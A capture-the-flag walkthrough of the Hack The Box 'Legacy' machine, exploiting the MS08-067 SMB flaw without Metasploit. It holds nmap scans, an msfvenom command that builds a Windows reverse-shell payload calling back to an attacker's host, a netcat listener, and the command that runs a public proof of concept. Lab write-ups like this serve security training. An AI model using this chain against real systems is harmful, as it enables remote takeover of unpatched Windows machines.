# Hack The Box - Legacy Walkthrough without Metasploit

![Legacy](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MP8e5luoN0lBhM2CQma%2F-MP8vf-zNPaK0WLY8g56%2Fimage.png?alt=media\&token=50817cff-37e9-49a0-b8fe-749e8138a46f)

## Enumeration

We start using nmap to enumerate the box with the following flags:

-sC   Script scan, equivalent to --script=default

-sV   Service version info

-A     Enable OS detection, version detection, script scanning, and traceroute

```
nmap -sC -sV -A 10.10.10.4
```

![Legacy enumeration](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MP8vm3u20I3au6vXHlX%2F-MPAT9veiSFXsYLWS-gD%2Fimage.png?alt=media\&token=81251ff0-0ad9-4436-9cef-7fcfa9240119)

We have SMB port 445 open so we can run nmap againg with vulnerability script on that port, the OS part will be useful later.

```
nmap --script smb-vuln* -p445 10.10.10.4
```

Since there are multiple smb-vuln scripts, with the last **\*** we will run them all on port 445 of our victim box.

![WannaCry Vulnerability](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MP8vm3u20I3au6vXHlX%2F-MPARP3l4kXZ8UBV3xRe%2Fimage.png?alt=media\&token=4a6db613-748e-4879-8613-9f21f9cacf18)

It is vulnerable to CVE-2008-4250 (MS08-067) which affects the systems that have highest chances to be running in our victim.

### Finding the PoC

With a quick google search we can find this github repository:

#### <https://github.com/andyacer/ms08\\_067/>

It's a great resource that will let us place there our msfvenom payload and execute it in order to exploit the vulnerability.

### Modifying the PoC

This will generate a reverse tcp for a 32 bits Windows, excluding the characters indicated with the -b flag.

```
msfvenom -p windows/shell_reverse_tcp LHOST=<Attackers-IP> LPORT=<Attackers-Port> EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
```

![PoC](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPAVVO7A5iUcikVZNqz%2F-MPAfJi9wyvOMc2P8sEr%2Fimage.png?alt=media\&token=892ab831-9218-4c0d-bb41-8969115afaf4)

This part of the exploit is the one that we will change with our own msfvenom payload.

### Executing the PoC

First we should have a netcat listening already set in order to catch the reverse tcp shell.

```
nc -nvlp 443
```

![Netcat Listener](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPAVVO7A5iUcikVZNqz%2F-MPAxtQ5LoIJSCaf7Og3%2Fimage.png?alt=media\&token=6f8d7df7-a455-4f9f-9d12-d5e73f3d21a8)

We might run into this problem while trying to execute the exploit:

![Missing libriaries](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPAVVO7A5iUcikVZNqz%2F-MPAhKrJAuGAOVi3bVAQ%2Fimage.png?alt=media\&token=834ca3e8-738e-4bb9-b3a8-509b3171c8b4)

In order to fix it we just need to install **Impacket** and **PyCrypto.**

For Impacket:

```
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip install .
```

For PyCrypto:

```
pip install pycrypto
```

Once we have that fixed we can just execute it with the arguments needed.

![Payload Options](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPAVVO7A5iUcikVZNqz%2F-MPAxIaxvJlrTRSTiB7M%2Fimage.png?alt=media\&token=0eef5040-a2dc-4188-afc1-c48a9039b700)

According with our previous enumeration we had high chances for this box to be Windows XP SP3, so we tested with option 6.

```
python ms08_067_2018.py 10.10.10.4 6 445
```

## Pwnd

![Own the box](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPAVVO7A5iUcikVZNqz%2F-MPAwheaQ45U3I5TJfbc%2Fimage.png?alt=media\&token=c36b926c-ed84-416e-9e75-317e88f1c63b)
